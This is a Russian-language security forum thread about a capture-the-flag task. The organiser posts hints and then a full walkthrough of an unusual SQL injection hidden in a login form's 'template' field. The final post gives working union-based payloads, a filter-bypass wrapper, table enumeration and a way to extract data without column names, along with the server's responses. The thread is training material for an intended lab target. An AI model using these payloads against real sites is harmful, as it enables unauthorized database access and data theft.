Task # Task #10

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 19 Mar 2020.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    task10_3.jpg

    Пока остаемся в рамках простых заданий, можно ковырять всем.

    Задание искусственно можно разбить на два этапа:
    - найти дыру
    - проэксплуатировать

    Вторая часть - чисто технология, изобретать не надо, все известно, ну может не часто использовалась.
    В первой части заметная эвристическая составляющая, на любителя.

    Брутить и сканить ничего не нужно (просто бесполезно), внимательность и аккуратность вырулят.

    Задание:
    Таргет: http://task10.antichat.com/
    Найти и прочитать флаг.
    Ответы присылайте в ПМ форума, интересует не флаг, а прохождение.

    Срок:
    две недели.


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.


    Прошли:
    undefo 1,2
    Shubka75 1,2
    neur0funk 1,2
    Раrаdох 1,2
    nix_security 1,2
    gurux13 1,2
    MichelleBoxing 1,2
    fandor9 1,2


    Прохождения

    https://forum.antichat.ru/threads/476269/#post-4375982
     
    #1 dooble, 19 Mar 2020
    Last edited: 2 Apr 2020
    dart8888, crlf, neur0funk and 7 others like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    В форму уже повтыкали и поняли, в учетке баги нет.
    Но там еще какие то поля присутствуют и есть непонятки.
     
  3. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Наверное можно сразу подсказать, что за багу ищем, но попробую сделать чуть менее явно.
    Это самая изученная тема на Античате.
    Да-да, банальная ...

    Т.е. - умеют все.
     
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Попросили пока не делать подсказок, подожду до завтра.
    Мне все же представляется, что не нужно перебирать все варианты, слишком много времени уйдет, а искать конкретную багу.
    Тем более, что лежит она неочевидно.
    И это почти уравнивает шансы профи и новичков.
     
  5. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Собственно подсказка уже дана и если скажу открытым текстом, разница будет небольшая.

    Имеем SQLi.
    И даже не слепую, а с выводом.

    Но кавычкой она не ловится.
    Да и вывод больше похож на замочную скважину, видно не все и не всегда.
    И "крутить" нужно осторожно, прямо кончиками пальцев.

    Дверь и откроется.
     
    fandor9, crlf and Stalker_Admin like this.
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Однажды (на даже очень крупном сайте) встретилась необычная SQLi, которую не сразу и узнал то.
    Не подавала признаков жизни, пока не начал определять точные границы фильтра в поле.
    Вот тогда сформировалась конструкция, внутри которой начали срабатывать логические выражения и SQLi.

    Некоторый шаблон служил запуском SQLi.
    И он же сломал мой шаблон о том, как должна выглядеть SQLi.

    Поле "template" в задании должно было запустить ассоциации с чем то типа SSTI.
     
    fandor9 and crlf like this.
  7. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Подсказок пока не будет, порог новизны пройден, остальное дело техники.
    Если утомились искать точку входа, можно пропустить этот этап, стучите в личку, выдам шаблон.

    Возможно дней через несколько выложу его для всех, поскольку задание предполагалось для массового прохождения, основное в задании - во второй части.
    А первая часть добавляет "вкус", элемент неожиданности. На любителя.
     
  8. undefo

    undefo New Member

    Joined:
    4 Sep 2019
    Messages:
    2
    Likes Received:
    3
    Reputations:
    11
    Спасибо за таск, познавательно!
     
    Раrаdох and Spinus like this.
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Наверное нет смысла дольше ковырять первую часть.
    Есть некоторый предел, после которого вместо радости открытия получишь утомление и раздражение.
    Поэтому пропускаем и ищем дальше
    Иньекция в поле template, но не в привычном нам виде, а внутри некоторой конструкции, похожей на то, что мы встречаем при SSTI
    Code:
    ={{SQLi}}=
    Здесь вместо "SQLi" вставляем нужный payload.

    Вторая часть должна пойти полегче, undefo прислал ответ почти со скоростью набора символов на клавиатуре.
     
  10. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Видимо многим в новинку, не поняли подсказку, в личку каждому отвечать не буду попробую здесь пояснить еще раз.
    Иньекция срабатывает не просто в поле, как мы привыкли, а внутри некоторого шаблона, т.е. так
    Code:
    _csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{тут вставляем payload}}=&email=&password=&commit=Log In
     
  11. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Наверное последнее, что напишу по поводу задания
    вторая часть - изи, или даже изи-изи.
    Union-based SQLi с выводом, даже не слепая.
    Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению.

    Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть.
    Я предполагал, что решит всякий, кто возьмется.
    Даже с начальным опытом.
     
    undefo and crlf like this.
  12. neur0funk

    neur0funk Member

    Joined:
    9 May 2018
    Messages:
    22
    Likes Received:
    18
    Reputations:
    12
    Спс, хороший таск, на практике такое ни разу не использовал.

    P.S. после закрытия таска, можно исходники посмотреть?
     
    Stalker_Admin and undefo like this.
  13. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Задание не на поиск багов в движках, в коде.
    Почему и как написан код - никакого значения не имеет.

    Имеем нечто по-факту.
    С ним можно взаимодействовать некоторым образом.
    Нужно догадаться - как именно.

    Черный ящик.
     
  14. Раrаdох

    Раrаdох Elder - Старейшина

    Joined:
    30 Jan 2014
    Messages:
    93
    Likes Received:
    139
    Reputations:
    33
    Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
     
    neur0funk, undefo and Baskin-Robbins like this.
  15. nix_security

    nix_security Level 8

    Joined:
    15 Feb 2019
    Messages:
    11
    Likes Received:
    31
    Reputations:
    48
    Спасибо, получил удовольствие от задания
     
  16. gurux13

    gurux13 Member

    Joined:
    4 Feb 2019
    Messages:
    8
    Likes Received:
    30
    Reputations:
    48
    Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение :)
    А вот вторая часть неплохая, хотя для меня с элементом "угадывания".

    Спасибо за задачу!
     
  17. MichelleBoxing

    MichelleBoxing Reservists Of Antichat

    Joined:
    12 Nov 2018
    Messages:
    19
    Likes Received:
    32
    Reputations:
    57
    познавательно, было интересно.
    Спасибо автору
     
    #17 MichelleBoxing, 1 Apr 2020
    Last edited: 2 Apr 2020
    undefo and Baskin-Robbins like this.
  18. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    630
    Likes Received:
    1,050
    Reputations:
    47
    Спасибо, попыхтел и решил. :) узнал кое-что для себя новое.
     
    Baskin-Robbins and undefo like this.
  19. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Прохождение:

    Ищем точку входа.
    Ничего интересного, кроме параметров, в форме нет.
    Втыкаем в них.
    В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится.
    Если проверить на допустимые символы, то получим такой набор:
    [a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*]
    Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего.
    Странным его делают символы (){}*=
    попробем построить из них чего-нибудь.

    В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические.
    В какой то момет получил реакцию.

    В данном случае внутри шаблона ={{}}=
    Code:
    ={{purple}}=                          href="./css/purple.css"
    ={{purple'and'1}}=                    href="./css/purple.css"
    ={{purple'and'0}}=                    href=""
    ={{'or'1}}=                           href="./css/purple.css"
    ={{'union select version()'}}=        href="10.1.44-MariaDB-0+deb9u1"
    
    дальше можно открыть любую методичку по SQLi и продолжить:
    Code:
    'union select  group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -
    href="|information_schema,|task10"

    Code:
    'union select  group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -
    href="|flag1286n2482,|template"

    Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг?
    Но по факту это только указатель, нужно прочитать данные таблички.
    И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column".

    С одной стороны обидно, пару запросов осталось сделать.
    С другой стороны - нас это не остановит.
    Было время, когда information_schema вообще не существовало, а информацию вытаскивали.
    И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас
    https://rdot.org/forum/showpost.php?p=18012&postcount=10

    Находим количество полей в таблице - 3.
    Code:
    purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1
    purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1
    и вынимаем данные
    Code:
    'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -
    href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC"


    Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать.
    Тогда почему включил в таск?

    В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение.
    И когда в такой ситуации бага расковырялась, я понял несколько вещей:
    - SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения.
    - сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть.
    - приятно открыть дверь там, где ее даже и не видно, даже и при полном свете.



    Прохождения участников:








    Всем спасибо!
    Все меньше времени остается на задачки, но мы их не бросаем :)

    ==
    PS
    В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы.
    Но посчитал, что это излишне затянет задание, без особой на то необходимости.
    И выпилил перед запуском.
     
    #19 dooble, 2 Apr 2020
    Last edited: 2 Apr 2020
    4Fun, undefo, Shubka75 and 2 others like this.
  20. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Пацаны ваще ребята, респект всем решившим! ;)
     
    dooble and undefo like this.